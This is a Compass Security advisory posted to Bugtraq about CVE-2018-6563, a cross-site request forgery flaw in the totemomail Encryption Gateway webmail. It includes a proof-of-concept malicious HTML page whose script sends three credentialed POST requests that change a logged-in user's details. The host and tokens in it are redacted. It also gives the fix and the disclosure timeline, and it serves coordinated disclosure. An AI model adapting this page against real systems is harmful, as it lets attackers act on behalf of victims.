CSNC-2018-003 totemomail Encryption Gateway - Cross-Site Request Forgery

Advisories <[email protected]> Tue, 15 May 2018 09:34:40 +0000
Newsgroups gmane.comp.security.bugtraq,gmane.comp.security.news.securitytracker
Message-ID <[email protected]>
###########################################################################=
#####
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
###########################################################################=
#####
#
# Product:  totemomail Encryption Gateway
# Vendor:   totemo AG
# CSNC ID:  CSNC-2018-003
# CVE ID:   CVE-2018-6563
# Subject:  Cross-Site Request Forgery
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Nicolas Heiniger <[email protected]>
# Date:     14.05.2018
#
###########################################################################=
#####

Introduction:
-------------
The totemomail Encryption Gateway protects email communication with any ext=
ernal
partner by encryption. It doesn't matter whether you exchange emails with
technically savvy communication partners or with those who have neither an
appropriate infrastructure nor the necessary know-how. The encryption gatew=
ay
also makes it easy to securely send very large attachments.[1]

Compass Security discovered a vulnerability in the webmail part of the
solution. It is possible to predict all parameters that are required to
execute actions on the webmail interface. This allows an attacker to perfor=
m
Cross-Site Request Forgery (CSRF) attacks. The attacker needs to craft a ma=
licious web
page that will automatically send a request to the Encryption Gateway. If t=
he
user is logged in, the request will be executed by the Encryption Gateway o=
n
behalf of the logged in user. This could be used to change a user's setting=
s, send emails or
change contact informations.


Affected:
---------
Vulnerable:
 * 6.0.0_Build_371

No other version was tested but is is likely that older versions are affect=
ed as
well.


Technical Description
---------------------
In the webmail, no anti-CSRF token is used. Although the viewState makes th=
e
attack more complex, it is possible to entirely predict the requests and th=
us,
perform CSRF attacks. The requirement here is to perform the attack as a re=
play of a full
user interaction. One has to replay every request to make sure that the vie=
wState is
updated on the server side and corresponds to the action that is performed =
by
the malicious page.

Such a malicious page is presented below, it will automatically send 3 requ=
ests
that will change the user's detail:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<html>
  <body>
    <script>
      function submitRequest1()
      {
        var xhr =3D new XMLHttpRequest();
        xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/webmail=
\/newMessage.xhtml", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,a=
pplication\/xml;q=3D0.9,*\/*;q=3D0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=3D0.5");
        xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlen=
coded");
        xhr.withCredentials =3D true;
        var body =3D "tabNavigationForm_SUBMIT=3D1&javax.faces.ViewState=3D=
An36[CUT BY COMPASS]XBJn&tabNavigationForm_j_id_24_j_id_26=3DtabNavigationF=
orm$
        var aBody =3D new Uint8Array(body.length);
        for (var i =3D 0; i < aBody.length; i++)
          aBody[i] =3D body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }

      function submitRequest2()
      {
        var xhr =3D new XMLHttpRequest();
        xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/account=
Overview\/preferences.xhtml", true);
        xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; =
q=3D0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=3D0.5");
        xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlen=
coded; charset=3DUTF-8");
        xhr.withCredentials =3D true;
        var body =3D "javax.faces.partial.ajax=3Dtrue&javax.faces.source=3D=
preferencesForm_phoneNumber_input_text&javax.faces.partial.execute=3Dprefer=
encesForm_phoneNumber_input_tex$
        var aBody =3D new Uint8Array(body.length);
        for (var i =3D 0; i < aBody.length; i++)
          aBody[i] =3D body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }

      function submitRequest3()
      {
        var xhr =3D new XMLHttpRequest();
        xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/account=
Overview\/preferences.xhtml", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,a=
pplication\/xml;q=3D0.9,*\/*;q=3D0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=3D0.5");
        xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlen=
coded");
        xhr.withCredentials =3D true;
        var body =3D "preferencesForm_firstname_input_text=3DCSRF&preferenc=
esForm_lastname_input_text=3DCSRF&preferencesForm_phoneNumber_input_text=3D=
%2B41+00+000+00+00&preferencesF$
        var aBody =3D new Uint8Array(body.length);
        for (var i =3D 0; i < aBody.length; i++)
          aBody[i] =3D body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }

      submitRequest1();
      submitRequest2();
      submitRequest3();
    </script>
  </body>
</html>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D


Workaround / Fix:
-----------------
Install an up to date version of totemomail Encryption Gateway.

As a developer, the requests that execute actions must include an unpredict=
able
element. This is usually done by using an anti-CSRF token. This token is a
random value tied to the user's session and must be verified by the server
before executing any action on behalf of the user.


Timeline:
---------
2018-05-14:     Coordinated public disclosure date
2018-03-XX:     Release of fixed version 6.0_b511
2018-02-13:     Initial vendor response
2018-02-09:     Initial vendor notification
2018-02-02:     Assigned CVE-2018-6563
2018-01-11:     Discovery by Nicolas Heiniger


References:
-----------
[1] https://www.totemo.com/en/solutions/email-encryption/external-encryptio=
n